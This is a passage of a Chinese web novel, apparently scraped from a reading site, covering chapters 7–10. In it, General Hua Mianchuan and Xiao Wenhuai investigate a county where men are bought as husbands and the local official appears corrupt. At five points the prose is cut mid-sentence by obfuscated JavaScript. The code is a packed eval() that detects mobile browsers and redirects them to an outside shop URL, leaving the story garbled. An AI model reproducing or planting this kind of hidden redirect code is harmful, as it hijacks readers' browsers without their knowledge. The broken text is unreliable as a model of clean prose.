d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887802|192087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相见，物是人非，他与花眠船也已多年不曾往来。当初听闻要去南境时，他便主动请缨，想来见见这位“阿姊”，可如今真正见了面，他却显得无比拘谨。 本以为萧文怀这种打仗多年仍礼度自持的人，在军中极为少数，如今看沈知珏这般，似乎也不足为奇。 还未入城之际，他们便已起了疑，而李胆那番话，显然在某些方面引起了花眠船的注意。 他们昨夜休整的林子唤作茂林。“茂”字不仅因这里草木丰茂、香草遍野，更因林中鸟兽繁盛而闻名。数十年前，曾游历此地的谭姓诗人曾形容：“三步之内必有鸟鸣，五步之内必见飞禽走兽。”这话虽带几分夸张，却也绝非虚言。 可如今，他们在此行了整整一日，别说走兽，就连空中的飞禽都未曾瞥见半只。更反常的是，林间地上还莫名多了许多地洞…… 这景象，与赵康信中所言截然不同。上个月，赵康还在信里说此地一切安好，提及狩猎时节，他身为县官，正率领城中百姓效仿苏轼笔下“左牵黄，右擎苍，锦帽貂裘，千骑卷平冈”的盛况；去年此时，赵康亦来信说林中香草药材长势正好，还特意寄来不少名贵药材，解了她当时战后药材短缺的燃眉之急。 更让她起疑的是，萧文怀前来支援的前三个月——赵康寄信的频率突然变了。往日里一两月一封，那时竟增至一月两封，甚至是隔日一封。最近一封，是在她出征一周后寄来的，信中竟追问起粮草供给与排兵布阵的细节。 赵康本是文官，军中之事即便她细说，他也未必能懂。当时她只当是对方好奇，只笼统回了“一切安好，准备就绪”，并未透露半分关键信息。 入城前，她勒住马，拦在萧文怀身前，问道：“萧将军，若我说这城中或许有古怪，你信吗？” “我信。”萧文怀答得毫不犹豫，“花将军的判断定然有道理。我既决意与你结盟，便做好了无条件信你的准备。” 这人……倒真是全然不设防。 花眠船心头微动，颔首道：“好。” 她随即把自己所有的疑虑一五一十道来，与萧文怀暗中合计，打算先探探城中底细。她还想起一事：萧文怀在京时鲜少出府，且从前赵康给她的信里，曾聊起“鬼面阎罗”的模样，说对方“五大三粗，面具底下定是青面獠牙的怪人”——由此可见，赵康定未见过真正的萧文怀。 最终二人议定：由花眠船与假扮萧文怀的沈知珏先入城。沈知珏与萧文怀气质身形本就相似，又经萧文怀一手调教，举手投足间都带着世家贵族的礼仪，即便赵康对萧文怀留有模糊印象，也难辨真伪。 至于萧文怀，则由谭闻雨辅佐，另带数十人，待天黑后再悄悄入城。 萧文怀同谭闻雨等人马，换上便装，办做向南的胡商入了城。 日暮时分的画溪县，华灯初上，人流如潮。全然无人在意天边昏暗的云层直白暗示的雨意。 7. 画溪县二 一夜无眠。 花眠船本就睡眠浅，入睡时听不得一点动静。 窗外雷声滚滚，裹挟着“欲雨未雨”的黑云压城，屋内人儿辗转难眠、欲睡未睡，莫名的心悸悄然浮上心头—— 密匝匝的雨点砸在窗棂上，她便知，今夜注定无眠。 —— 天刚露熹微，谭闻雨便踏着湿意来报：“将军，昨夜大雨冲得道路泥泞不堪，我们的马匹难以行走，若要赶路，最快也得等明日。” “知道了。” 花眠船的目光落在窗外，卖杏花的小贩挑着担子走过，叫卖声划破清晨旅店外无鸟鸣的寂静。她收回视线转向谭闻雨，语气平静：“小谭，这城给你的感觉如何？” “属下说不上来。” “你只管大胆说便是。” 花眠船安慰道。 “这城里，人人瞧着都很热情，可热情过甚，反倒显得不由衷。” “倒像是，一切都是提前排练好的。” 她住的旅馆离花眠船不过一条小街，方才过来时，数百道目光似有若无地黏在她身上。沿街商贩、过路男女，个个笑脸相迎，争先恐后问她吃住可惯，亲昵得仿佛他们是久别重逢的旧友，可他们分明只算一面之缘。 最怪的是，她拐进另一条街时，假意回头，却见方才还笑意盈盈的众人，瞬间沉下脸继续做手里的活儿；待察觉她的动作，又立刻换上笑脸——即便是对客人的礼貌，也绝不会这般刻意。 “这是你的想法？” “是。” 花眠船眼底掠过赞许，不愧是她花眠船精心选定、悉心培养的继承人！ “你的直觉没错。”可有些话，她对谭闻雨暂时不便多言。 “派人去各旅店客栈点清人数，再采购好下次休整前的必需品。” 画溪城中并未设置驿站，军队被分散到城中各个旅店客栈。 保险起见，她将谭闻雨等所带的心腹分到各个区域，起到监管作用。 “通知下去，除派出采购物资的人以外，其他人在被分到的旅店休整，不得随意闲逛；一经发现破坏纪律，将被视为‘擅离职守’，面临处罚。” “是。” —— 萧文怀昨日进城时，扮作往南同胡人做生意的商人，并未被其他人察觉出异样。 他似是有意为之，与花眠船租住了同一家旅店。 告别谭闻雨后，花眠船换了身男装，让身形、外貌与自己有几分相似的从玉留在房中混淆视线，随后敲响了萧文怀的房门，将他约了出去。 她没让他戴上那顶渗人的面具，理由：会吓跑街上人。 再有一点，也是目前城中只认面具，不认萧将军，恐生不便。 “萧……”花眠船紧急止住话头，如今二人身份需隐藏，断不能暴露。她只好转了话头，故作新奇地打量街道：“公子，这街上好生热闹。” “嗯。”萧文怀不咸不淡地应道。 花眠船暗自腹诽：“好生冷淡。” 她的目光却没停。卖杏花的小贩叫卖着从身旁经过。 她故意拔高声音惊叹道：“呀，公子，有卖杏花的！” 可惜，小贩并未因花眠船的惊讶为他们停留，像没听见似的，自顾自往东走，兜了一圈又回到这片叫卖，眼神还时不时往他们身上瞟。 他们游逛的这一路，所见大多是京城街头巷尾常有的东西，并无什么稀奇有趣之处。 可花眠船却像只小雀儿似的，每到一处，都展现出极强的兴趣。 糖葫芦、鹦鹉、桂花蜜…… 接着是一家卖钗子的小摊。 摊子上卖的是京城三个月前流行的款式，可花眠船依旧驻足了很久。 在她拿起一支对镜欲试时，老板笑着招呼：“公子是买回去给娘子带的吧？” “啊，是！” 花眠船连忙放下手，猛然想起自己此刻身穿男装，又将簪子放回原位，扯着萧文怀就要走。 这一切，萧文怀都看在眼里。 他凑近花眠船，温热的呼吸拂过耳畔，轻声耳语：“喜欢，我便送你一支。” 花眠船心里突然像被什么搅了一下，不是滋味…… 嘴上却口是心非：“不喜欢，我若是喜欢，自己会买。” “公子～” 一道娇滴滴的女声突然打断二人。花眠船抬眼，见来者是位穿蓝色襦裙的女子，头戴银簪，媚眼含春；那姑娘看见萧文怀时，眼睛瞬间亮了。她起初跑得急切，裙带飘飞也不顾，不知怎的又突然放缓脚步，小步挪到萧文怀跟前，娇着嗓子开门见山：“不知公子年芳多少？姓甚名甚？家中父母是否康健？老家是哪儿？” 花眠船与萧文怀对视一眼，谁也没从对方眼中读出个所以然来。 这姑娘瞧着大方，行为举止却处处透着刻意——明面上是小姐姿态，行动上却与扮相背道而驰。 许是见二人面露不解，女子忙自圆其说：“公子莫怪，我是这附近的农女，今日是来城里招婿的。” “招婿？”花眠船挑眉。 “是。”女子点头，声音软了些，“二位公子看着是外地人，想必不知——这里每月这天，都会从外地‘拉’一批男子来。我们家里有未婚女眷的，能出钱买一位到家里做夫婿，价高者得。” 买婿？这无疑是在贩卖人口！ 花眠船心头一凛，眼神瞬间冷了下来。 “其实我今儿来，与其说是招婿，不如说是替自己买婿。”女子没察觉她的异样，脸上泛起羞涩，“我前几趟都没遇着合适的，直到今儿见了公子。” “姑娘，”花眠船目光阴冷，“本朝私下贩卖人口，是犯法的。” 女子的声音骤然弱了下去，喃喃道：“这我不知……我只知道身边好多人都在买……” 花眠船藏在衣袖下的手紧紧攥成拳。萧文怀见状，轻轻握住她的手，目光温和地递了个眼神——示意她别轻举妄动。 花眠船深吸一口气，眉头渐渐舒展，又恢复了往日谈笑风生的模样。 “姑娘，你叫什么名字？” 见有转机，女子眼睛一亮，忙答道：“我叫蔡葵，村里人都叫我小葵。” “小葵姑娘，”花眠船打趣道，“要娶我们家公子，聘礼可得高些。” “没关系！”蔡葵立刻接话，忙不迭道：“我家有三头牛、两只羊、十几只鸡鸭，还有十亩良田、三间屋子。虽说不算大富大贵，但在村里也算吃喝不愁，就是赶上年景不好，也能撑过去。” 她望着萧文怀，眼神越发热切：“公子若是不嫌弃，便跟我回去。他日咱们男耕女织，日子定能美满。不过——”她上下打量了萧文怀一番，又补充道，“我瞧公子这模样，不像是会做农活的。若是将来女耕男织，我也能担着。” 小葵垂首，扭捏地直搓手：“若是要我全权负责干活……也不是不行，就是公子得负责相妻教子……” “我瞧公子气质出尘，定然是锦绣堆里长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887803|192087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大的，才学肯定也不差。” “做个教书先生，想来也是能成的……” 蔡葵絮絮叨叨地说着自家的好处，时不时穿插几句对二人的夸赞，末了又邀请道：“我们家在西边三十里外的陈家村，住得偏了些。二位公子若是不嫌弃，可随我回去看看。” 三十里路，着实远了些…… 萧文怀心中暗自思忖：该离开了。 他神色镇定，不疾不徐地开口：“蔡葵姑娘，实不相瞒，在下……有隐疾。” 哈？身旁的花眠船大为震惊——真不愧是萧将军，造谣自己的事都做得出来，还说得这般脸不红心不跳！ 更让她震惊的还在后面。萧文怀顿了顿，目光落在她身上，缓缓道：“我身旁这位公子，便是我的……心爱之人。” 哦，原来是……等等！公子？他身旁的？ 花眠船愣了愣，左右张望一圈，才反应过来“身旁这位公子”指的是自己！ 开什么玩笑？！ 她瞪向萧文怀，试图看清对方葫芦里卖的什么药。 可萧文怀只淡淡看了她一眼，眼底没什么波澜，眼角余光一挑——是让她见机行事的意思。 既然如此…… 花眠船不轻不重地一拳捶在萧文怀胸口，声音放得又软又娇，还带着几分嗔怪：“讨厌了，郎君，明明都说好了，这些事不为外人道的。长此以往，郎君这爱炫耀的毛病，何时能改？” 这番举动，连她自己都觉得膈应。 可萧文怀却像没事人似的，眼底平静得像一汪泉水，嘴角还带着抹若有若无的笑意——这人，该不会是吓傻了吧？ 再看对面的蔡葵，眼睛瞪得像见了耗子的猫，表情比刚才见到萧文怀时还要夸张。花眠船暗自嘀咕：又傻一个？ 没承想，蔡葵忽然正色道：“二位公子，实不相瞒，我一直觉得，像你们这样大胆承认心意的爱情，最是真挚。” “你们放心，就算天崩地裂，我也不会把这个秘密说出去！” 不是，这、这对吗？ 二人又寻理由想打发她走，没成想这姑娘像是认定了他们，赶也赶不走；婿也不买了，就跟在他们身后一步一步地跟着，生怕错过什么重要信息。 若不是知道这姑娘的底细，他们恐怕真要把她当成监视的人。 “公子，现在怎么办？”花眠船压低声音，咬牙问道。 萧文怀先对她温和一笑，语气却带着几分调侃：“听天由命。” 见花眠船要皱眉，他立刻恢复正经：“先去打探清楚‘买婿’一事。” 此事涉及律法，且在城中盛行多日，赵康没理由不知情。若没有他的默许，断不会这般猖獗——说不定，这背后还有他的手笔。此事事关重大，必须查清楚。 二人一边走，一边留意四周——果然，暗处有无数双眼睛，正悄悄盯着他们的行踪。 —— 另一边，暗探躬身禀报：“大人，花将军他们已经知道城中贩卖人口的事了。” 那人端着茶杯，眉目望向暗处，淡淡道：“本官知道了。监视他们的事，你做得不错，去衙门领赏赐吧。” “谢大人！”暗探大喜道。 待房门关上，他才捻起桌上的西湖龙井，放在鼻尖轻嗅——茶香清冽，倒是壶好茶。 她花眠船当真以为，能在他的地盘耍花样骗过他？ 只是没想到，这其中出了个小插曲。 没关系，他们——来日方长。 8. 画溪县三，对峙。 花眠船趁蔡葵视线错开的间隙，猛地攥住萧文怀的手腕，拽着他拐进街边的巷弄。 松开手时，她撑着斑驳的墙垣回头张望，确认蔡葵并未追来，露出一副得胜的笑容。 “萧文怀，你的脸……”她欺身凑近，双目眯起，似乎这样更有利于细致观察，“红得像烧起来了。” “花眠船！”萧文怀不自然地偏过头，气急败坏道。 他第一次叫她全名，可总感觉哪里不对。 “萧将军，你莫不是发烧了？”刚下过夜雨的空气里处处带着凉意，她抬头望向乌云蔽日的天空。 也没出太阳，难不成是热的？ “你……你的姿势。”萧文怀被她困在墙与自己之间，说话都有些结巴。 花眠船这才后知后觉地低头：自己一只手撑着墙，另一只脚还拦在他另一侧，恰好把他圈了个严实。 再抬头时，正对上萧文怀近在咫尺的脸…… “咳咳。”她连忙别开眼，用两声轻咳掩饰突如其来的尴尬。 从前她对着萧文怀说过的玩笑话、调笑的话也不少，他从来都是一副波澜不惊的模样，怎么今日反倒这般不经逗？ 坏点子在脑海里浮现，她上前握住萧文怀的手，十指相扣： “郎君，怎的这番冷漠？” 花眠船娇声道。 清风霁月的萧将军被她捉弄，那模样别提多好玩了。可没等她笑出声，就听见萧文怀低低的一声：“嗯，是我的错。” 萧文怀又恢复了原先那副不谙世俗的模样，他抬手用胳膊拢住她，将人圈进了怀里。 花眠船一愣，巷口传来的脚步声愈来愈近。她也顾不上再捉弄他，顺势将头侧靠在他胸口，声音又软了些：“郎君～” “啧，光天化日的，在路边搂搂抱抱像什么样子。”路过的几人瞥见他俩的身影，不由得碎嘴道，声音不高不低，却正好落入二人耳中。 而两位当事人，却像什么都没发生似的，继续“谈情说爱”。 世风日下！ 那几人只得暗骂一句。 —— 两人分头行动，逮住过路人一个一个问。 “姑娘，打扰了，我问一下……” 花眠船拦住一个身材魁梧、身穿襦裙、头梳云鬓的“姑娘”，发问道。 “姑娘”转过身，娇怪道： “讨厌啦，人家明明是、是男子。” 入目，是一位有着“鬼斧神工”妆容、唇边还留着一圈络腮胡的大汉。 “打扰了！” 花眠船朝他鞠一躬，连连告退。 —— “公子，麻烦问……” 看清那人的长相后，花眠船失落道：“是你啊。” “如何？” 萧文怀问道。 “嗯？” 花眠船这才反应过来，他问的是打探情况的结果。 比如，她问人家“这里买卖男子是谁发起的”，对方回她“焦翠楼的香粉入口即化”； 她问“买卖的人口是从哪儿来的”，人家回“今个县太爷不设宴”。 换个话题吧。 她问：“诶，大哥，咱们这几十里外不是茂林吗？咋一只鸟都看不见？” 又问：“诶，姑娘，我问一下，为什么这茂林那么多坑啊？” 人家回：“隆冬过去了，鸟们都飞回北方了。” 再回：“地鼠冬眠睡醒了，不得活动活动？” 一趟下来，什么有用的信息都没问到。 这群人像是被统一了口径，串通好的。 难办！ 她素来不喜用暴力，可在孤烟营，她倒有的是让人吐露真言的法子——无论对面是奸细，还是俘虏。 手段其实简单，无非就两种：要么捆了，挠一顿痒；要么蒙住眼，往沙堆里一埋。前者不奏效，便换后者，这后一招几乎百试百灵。 原理就在于：翼州的天本就早晚无常，野外飞虫横飞、豺狼出没。人埋在沙里几天，□□或许瞧不见伤痕，可在黑暗里感官会变得敏锐，飞虫滋扰、豺狼嚎叫，再加上身体动弹不得，早把精神防线击垮了。 他们孤烟军自古都是以德服人，可如今身在异处，面对的又是手无寸铁的百姓，她怎么可能拿对付犯人的法子逼他们开口？ 萧文怀的呼喊声将她的思绪拉回现实。 “花将军。” 眼下他们所处之地偏僻得很，也不用顾及来往人口的鱼龙混杂。 “我没问出什么。” 花眠船老实回答，又好奇道：“你呢？” “有些收获。”萧文怀道，“据我观察，那些人似乎是被统一了口径。” 这算什么结论！这不明摆着吗？ 分明是对方给他们设了个大圈套，等着他们跳呢。 看来眼下，有必要去一趟赵康的府邸了。 两人当即折返回旅馆。花眠船要换回女装，怕行动不便，半推半搡把萧文怀推进里间，让他先换上自己随身带的一袭长袍。 “嗯……”她托着下颌沉吟。那袍子算不上合身，萧文怀穿在身上，臂膀处绷得发紧，险些要将衣料撑破——在她身上松松垮垮的衣裳，裹着他的身形，倒格外显出几分挺拔劲，格外显身材。 眼下看来，还是得去他房间再取一趟衣物。可念头刚起，花眠船便顿住：她住的旅店和“假萧文怀”那处隔了条街，如今局势本就举步维艰，若她把真萧文怀以“萧将军”的身份带出去，在那些眼线眼里，岂不是自曝破绽的无稽之谈？ 她当机立断，让从玉去隔街的旅店叫沈知珏，到自己这处旅店外集合。至于真萧文怀，要么先安置在这儿，要么…… 一个点子陡然冒出来，花眠船转身就翻箱倒柜地找。珠钗、花钿、脂粉盒……没一会儿，桌上就堆了满满一堆。里间的萧将军尚不知情，自己即将要面对什么。 “成了。” 花眠船把铜镜递到他面前，沾沾自喜地打量着自己的“作品”。她这手艺实在称得上鬼斧神工，若不是萧文怀身材实在魁梧了些，单看眼前这人——挽着云鬓，面上施着柔婉的妆容，活脱脱一位柔美的姑娘。 她忍不住想，萧文怀若在京城以真面目示人，不知要让多少姑娘为他牵肠挂肚、拈酸吃醋。 搞定一切，两人踏出旅馆，沈知珏带的人差不多也到了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887804|192087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 到了地方，众人警觉地发现，花将军身旁跟着位面生的姑娘：姑娘虽戴着薄纱，看不清面貌，却身姿娉婷、气质清雅，单看一眼便让人移不开眼。 有人被“她”吸引得无法自拔，顿时心生爱慕，竟一群人直勾勾盯着“姑娘”。 “姑娘”被看得不适，欲开口，却被花眠船拦住——眼下，身份绝不能在这时候暴露。 花眠船看向萧文怀的眼神，几乎要把“忍住”两个字刻在他脸上。 沈知珏等人不明真相，怕是永远无法将印象里英明神武、风度翩翩的萧将军，跟面前这位秀美的姑娘联系在一起。届时，说不定还要奉承两句“将军真是能屈能伸”。 没工夫再多想，花眠船、萧文怀便与沈知珏的人马一前一后走在大道上。怕“姑娘”的模样太过惹眼，花眠船索性拉着萧文怀一同上了马车。 路上颠簸难行，花眠船无数次被“萧姑娘”的美貌吸引，完全移不开眼；一路上，萧文怀被她盯得只觉得头皮发毛。 —— 赵康的府邸，莫名地气派。 门口立着两只石狮子，石狮子后不知怎的还放着两尊布满青苔的獬豸：獬豸主身已然破败，堪堪能支撑住头部。 再看门口的牌匾，字的周边涂了层金粉，刚劲有力的笔锋书写着“赵府”两个大字。 府内有荷花池、精致的画壁、雕梁画栋的装潢，还有一座两层的小竹楼。 院内的侍女将他们引到赵康待客的居室，赵康已恭候多时，房间里的古玩字画应有尽有。 “赵大人，近来倒是财力雄厚啊。”花眠船道，“若不是有人引路，我是断不可能相信这是赵大人的府邸。” 话里话外都充满了不可思议。 赵康的“贫”是出了名的：他为官清廉公正，这些年又因直言不讳得罪了不少权贵，官职常年原地不动。可他性子刚正，从不受贿——先前在京城时，家中时常揭不开锅；被贬去画溪那回，连路费都是靠夫人变卖嫁妆凑的。这才几年不见，他的住处竟变得这般富丽堂皇。 “你这丫头。”赵康笑了笑，语气坦然自若道，“我也不过是这几年组织城中百姓与胡人做生意，赚了些薄利。这府邸是百姓们自发为我建的——我在京城已无亲人，迁官的诏令也迟迟不下，早认命了。” “与其成天想些不切实际的，倒不如活在当下。” “况且既是大家的心意，我便不好再推辞，只得住下。” 瞧瞧，话说得滴水不漏。不知不觉间，把所有缘由都推到百姓身上，把自己摘得干干净净、全身而退，真不愧是赵康。 “赵大人，苟富贵，毋相忘啊。”花眠船目光灼灼，“若是赵大人有弄钱的法子，定然不能忘了我。” 赵康被她盯得发怵，却仍镇定自若地回道：“花丫头，你说笑了。我若是真有赚钱的法子，岂会不带上你？不过是靠山吃山，靠水吃水罢了。” “说来，这城中被赵大人治理得倒是井井有条。我瞧着，百姓们已是完全脱去了南诏人的野蛮气。” 画溪县最初被夺回时，城中百姓已完全染上南诏人的野性，曾经在三月内连换五任县令，都没能稳住局面。 9. 画溪县四:真相渐渐浮出水面。 “对了，我们初来乍到，还不知这城中有什么解闷去处。”花眠船问道。 “是我疏忽，该一早同你说清。”赵康接话，“十里街的荟萃阁，做的鲜花酪是一绝，别处寻不到这个味；再往前十来步有处戏馆，旁边几家铺子更藏着京里少见的稀罕玩意儿。”他顿了顿，又添道，“本地还有胡人骑马时穿的戎装，另有珠翠、钗裙各式物件，你若感兴趣，我这就差人挑些送到你住处——全当贺你打了胜仗的礼。” 花眠船粲然一笑，顺着他的话应下：“好啊，多谢赵大人。” 赵康倒没料到她这般不见外，干笑两声，又忙摆出“你我何须见外”的神情。 话锋一转，花眠船将话题落回“假萧文怀”身上：“不知萧将军还有要补充的吗？” 屋内不论真假，无一人吭声。 她又唤了遍：“萧—将—军？” 沈知珏道：“我无异议。” “那便好。”花眠船点头，“若明日道路能通，我与萧将军的人便启程离开。赵大人，你多保重。” “花丫头，萧将军，你们也保重。” “我近来新学了句诗，倒合此刻光景，念与赵大人听。”花眠船话音扬高，“‘一年好景君须记，正是橙黄橘绿时。’” “真是首好诗！”赵康连声赞道，“花丫头的才学，真是一日比一日精进。” 赵康这人，真是什么昧着良心的话都能说出来…… “赵大人，我们先行告辞。”花眠船没接话头，起身告退。 “花将军，萧将军，诸位慢走。”赵康拱手，对着众人虚引一圈。 一行人向他行过礼，浩浩荡荡地从赵府走了出去。 眼前这般阵仗，街上的路人却没半分围观的兴致——仿佛大家早已司空见惯。 花眠船等人走后，赵康独自在厅中踱步，暗自琢磨：她此行来得太过蹊跷。就算真查到了什么，以她的性子，该想到会牵扯到自己，断不会自投罗网才是。本是客套的说辞，谁料却白给了她个好处！ 她身边那侍女眼生得很。虽不及先前跟着的从玉那般灵俏，却也是个难得的美人胚子，想来，又是她救了哪家落魄小姐，带在身边教养了。 “小小，你同我去十里街逛逛。” “小小？” 不知是在问谁，身后随侍的将士左顾右盼，寻找这位没听说过的“小小”。 “小小，愣着做什么？跟上。” 花眠船拍拍身边发愣的“小小”。 哦～众人心领神会，原来，这位姑娘叫“小小”。 于是，路人便能看到，孤烟军的几人排排站好，在赵府门口齐声高喊：“恭送花将军，‘小小’姑娘！” 萧家军的众人看得目瞪口呆，“小小”姑娘本人更是如此。 身为统领的花将军，还满脸赞许地点点头：“不错，不错，下次喊的气势再足些就更好了。” 果然，有什么样的将军，就有什么样的兵…… 二人一前一后登上马车，在众人的视线中越行越远，留下还戴着鬼面的沈知珏替他们善后。 沈知珏道：“都回去吧。” 再看下去，怕是将军都要露馅了。要问他怎么看出来的？不难，除了将军，那遗世独立的眼神，这世间再找不出第二人。最重要的是，花将军身旁突然多了个身材魁梧的“新人”，多半不简单…… 二人在马车内对立坐着。 “‘小小’姑娘，觉得赵康的反应如何？”花眠船眉眼含笑，挑眉问道。 “派人去查。” 干净利落，不拖泥带水，不愧是萧将军。 “萧将军，我怀疑，你会读心术……”花眠船慢慢凑近他。 “不，‘小小’姑娘，我们这叫臭味相投。” “不对。”花眠船否决，“狼狈为奸？” 萧文怀：“……” “好像也不是……” 萧文怀垂下眼帘：“心有灵犀。” “两情若是久长时，心有灵犀一点通。” “……” 他突然觉得，花眠船方才在赵府念对那两句诗，有多难得…… 马车的车轮碾过坑坑洼洼的碎石路，“哐当”一声巨响，花眠船整个身子朝着萧文怀倾去。 “小心。” 萧文怀扶住她，眼神中陡然多了一丝柔软。 “谢谢。”花眠船直起身，绯红从耳后蔓延到脸颊。 “啊！” “让开！都让开！” 马车外一阵骚乱。 “怎么回事？” 马夫大呼道：“二位姑娘……马受惊了！” 萧文怀刚起身，便被花眠船拦住——她已先他一步掀起帘子，从马车内跃了出去。 待到众人惊魂未定，已有一位红衣姑娘截住发疯的马，目光扫过周遭。 “好！”叫好声络绎不绝。 萧文怀待马停下，不习惯地提起裙边，最后干脆将裙摆全拢在一起攥住，向花眠船跑去。 这一位姑娘真是英勇，另一位姑娘真是不拘小节。坐个马车都能出事，这地方，真是诚心不让她好过…… 花眠船没了兴致，尽管马夫一再宣称那只是个意外。两人索性当街闲逛，一路上走马观花地经过城中各家小铺。 “你别拉我！你知道我是谁吗？就敢这样对我！” “你能是谁？你是我买来的夫君啊！” 一男子被绳子捆得严严实实，嘴边塞着布条，倒在地上赖着不走；女子拽着绳子另一头，费力地拉扯。 没人围观，没人调解，大家各自忙着手头的事，仿佛这事本就与他们无关，不屑于淌这摊浑水。 花眠船拦住过路的人，问道：“这是怎么回事？” 路人解释道：“没什么稀奇的，女的要买男的，男的收了钱还赖账不走。” “这种事儿，每月都有好几件。”见花眠船神色异样，那人嗤笑，“你这反应，搞得像是没见过似的。” 她确实没见过——纵是在京城买佣人，也没见过这般强买强卖的。 她正欲再问些什么，不料那倒地的男子恰好与她对上眼神，陡然大喊：“花将军！花将军！是我！是我啊！救救我！花将军！” 花、萧二人的视线顺着声音望去。 蒋维舟？他怎么会在这？ 花眠船带着“小小”姑娘上前——虽说蒋维舟是萧文怀手下的人，但如今他身份特殊，交涉这事，自然由花眠船代劳。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887805|192087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“姑娘，这位公子是我们随行的朋友，这其中肯定有误会……” “误会？我不觉得有什么误会！”女子抬高声音，“我只知道，这个人收了我的钱，却耍赖！” 蒋维舟怒不可遏，含糊地哼着（因嘴被塞住），眼神里满是不耐，似在说“你这丫头怎么油盐不进，都说了是误会！还要我再重复几遍？还说小爷收了你的钱？我呸，谁稀罕你那三瓜两子！” 蔡葵憋了半天，气红了眼：“你！你不可理喻！” “我不可理喻？是谁一开始就在无理取闹！”蒋维舟好不容易挣开嘴边的布条，立刻反驳。 “你们两个够了！”花眠船皱起眉，语气带着不耐烦。 她转向蔡葵：“姑娘，要不我们找个茶馆，借一步说话？” 蔡葵思忖片刻，点头同意。 “姑娘，这边请。”花眠船招呼道，又扫了眼地上趴着的蒋维舟，对“小小”说，“带上他。” 萧文怀&蒋维舟：“……” 看来，在谈判成功之前，他暂时只能这样了。 本想找个人引路，可众人听到“花将军”三个字后，早就退避三舍——方才还闹哄哄的大街，霎时变得冷清。 “……” 作为主谈判的花眠船率先开口：“姑娘，你与我们这位朋友结识的契机是？” 蔡葵道：“他在西街被卖，我买下了他。” 二人皆露不可置信之色：“就这么简单？” 蔡葵点头：“就这么简单。” 被五花大绑的蒋维舟骤然开口打断：“你放屁！明明是你们趁着小爷从旅馆溜出去，绑架了我！” “蒋维舟。”萧文怀轻声呵斥。 又来一个寻事的姑娘？不对，这声音……是将军！萧将军！ 蒋维舟瞠目结舌地看向戴着薄纱的“姑娘”——这神情，这气场，定然是将军无疑！ “将……”他刚欲开口，便见萧文怀投来一个警示的眼神，立刻把话咽了回去。 虽不知将军为何穿女装，但将军这么做，定然有大事要办！ 花眠船看看蒋维舟，又看看蔡葵，继续问道：“所以，你的意思是你被绑，而你的意思是，你是正当地买下他？” “不是‘正当’，是‘精心挑选’！”蔡葵强调，“我是正式交了钱的，他就是我的人。” “既是‘正式’，那我问你，这场‘买卖’是谁组织的？”花眠船顺水推舟。 “是陈公子。” “公子？是当地的富商，还是地主？” “都不是。”蔡葵摇头，“‘陈公子’只是个称呼，他和我们一样是平民。而且本地没有‘地主’这一说。” “没有地主这一说？那此地的田产、商铺，是如何归属的？” “这儿人人平等，大家有饭同吃，有衣同穿。” “哈？” 花眠船被这话说得一头雾水，始终没能理解其中含义。 蔡葵补充道：“就是没有专门的地主，人人都能拥有田产，也人人都能自食其力；就连酒楼、钱庄，也是由官府掌控的。” 所以—— 赵康哪里是做了“小生意”？分明是把算盘子打到百姓身上，借着官府的名义谋私！ 10. 第 10 章 “陈公子只是代为管理的。” 花眠船顿住，问道：“陈公子是什么人？” “陈公子就是陈公子。” 还能是什么人，这些人简直是莫名其妙，要么油嘴滑舌、油腔滑调向她讨人，要么疑神疑鬼、心有戚戚问她些众所周知的小事儿。这叫她答也不是，不答也不是。 “姑娘，你买他只是为了做夫君吗？” 萧文怀问道。语气平和，声音宛若玉石碰撞，却带着不容置喙。 蔡葵看向他——眼前这位戴着薄纱的姑娘，身穿白衣裙，眉眼间像春日里茂林上崇山泉里的泉水，被太阳晒过，染上暖意；可眼神却透着凛冽，如冬日飞雪，寒意刺骨。他身旁负责交谈的姑娘，一袭桃粉色湘裙，袖口处的纹样缀有几朵桃花，头上没有过多的装饰，只一支没什么纹样的桃木簪拢住发髻，虽简单质朴却透着娇俏，桃靥初匀，笑似云霞般明媚动人。两人近坐在一起，一静一动，一鲜活一清冷，若为异性，单在外貌这一方面来说，定是天作地设的一对。 她看得出了神，脑中不断浮想两人若是一男一女该是何等的风光无限。 “姑娘？” 萧文怀原以为她没听清，又唤了一遍。 “啊，是，我是真心想同他成亲的。” 